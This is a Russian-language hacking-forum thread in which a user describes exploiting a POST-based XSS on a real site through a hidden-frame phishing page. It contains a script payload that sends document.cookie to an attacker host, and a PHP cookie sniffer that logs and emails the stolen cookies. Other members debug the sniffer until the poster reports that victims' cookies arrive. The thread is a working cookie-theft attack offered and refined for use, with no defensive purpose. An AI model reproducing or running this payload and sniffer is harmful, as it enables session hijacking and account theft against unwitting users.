Приветствую всех пользователй форума Antichat. Тему создал из-за проблемы, возможно если она решится это поможет многим другим людям которые пытались использовать уязвимость этим методом, но у них были какие-либо проблемы. Недавно я нашел xss уязвимость на неком сайте site.com. Осуществить эту уязвимость можно было методом POST, так как работало целевое поле <form method="POST"> Тут код </form>. Тобишь проводился инклуд кода, который нефильтровался и уязвимость на ура помогала вытаскивать кукисы (ну и до сих пор помогает разумеется). Мною был создан сайт на бесплатном хостинге, где была размещена страница-удочка, с framom, который незаметно для жертвы открывает нашу страницу site.com/index.php, вводит скрипт в нашу форму "POST" и подтверждает её. Значит клиентская часть выполняется успешно. В результате невидимо от пользователя frame выводит его (без его ведома) на http://evilhost.ru/s.php?login=Lolo В фрейме выполняется код по нашей форме "POST" и его перекидывает по нашей ссылке собственно '"> <script>document.location.href="http://evilhost/s.php?"+document.cookie;</script>'> +document.cookie в данном случае = $QUERY_STRING Кого заинтерисует данная тема и кто работал с xss методом post, я бы хотел что бы этот человек посмотрел мой сниффер и frame и сказал в чем ошибка, буду очень благодарен, возможно даже денег дам. P.s. Использовал сниффер от куника + свой, просто не хочет видеть QUERY. Тобишь на мыло мне приходит подтверждение что XSS сработала, но без данных. А в логи сниффера также записываются IP и данные браузера, но опять же без QUERY.
В FireFox стоит защита от пассивных XSS данного рода (через фрейм). Я вот точно не помню, это "вшитая" функция в браузер, либо она появляется при установки плагина NoScript.
Ошибку исправил Thx, но все равно резальтат такой. => Скорее всего у тебя какой то плагин который блокирует работу любого фрейма.
P.p.s. Вот йод фрейма который лежит на сайте-удочке. Друг говорит что неправильный синтаксис, но если бы это было так, код бы не выполнялся правильно ?
по идеи код должен быть такой PHP: <?php $file = true; //сохранять в файл $filename = "cookies.txt"; //имя файла $mail = true; //отправлять на мыло $mailaddr = "pelodka@lol.ru"; //адрес мыла if ($file) { $f = fopen($filename, 'a'); flock($f,2); fputs($f, $_SERVER['QUERY_STRING']."\r\n\r\n\r\n"); fflush ($f); flock($f,3); fclose($f); } if ($mail) { mail ($mailaddr, "Uzer waz XSSed! Eat his cookies! :)", "$_SERVER['QUERY_STRING']"); } ?>
Теперь выбивает при site.h16.ru/s.php?ass и при работе site.h16.ru/s.php?document_cookie; такой мессадж: Parse error: parse error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /home/j/site.h16.ru/WWW/s.php on line 17
PHP: if ($mail) { mail ($mailaddr, "Uzer waz XSSed! Eat his cookies! :)", $_SERVER ['QUERY_STRING']); } Вроде так должно быть Оо
Ооо супер, Nik(rus) спасибо. Ошибка пропала. А главное кукисы на мыло пришли. Nightmare спасибо большое за идею и xa-xa89 тоже огромнейшее спасибо. Всем по плюсегу от юзверя))
PHP: { mail ($mailaddr, "Uzer waz XSSed! Eat his cookies! :)", "$_SERVER ['QUERY_STRING']"); } ?> убери перенос строки и зачем "$_SERVER['QUERY_STRING'] брать в кавычки? UP млять, опоздал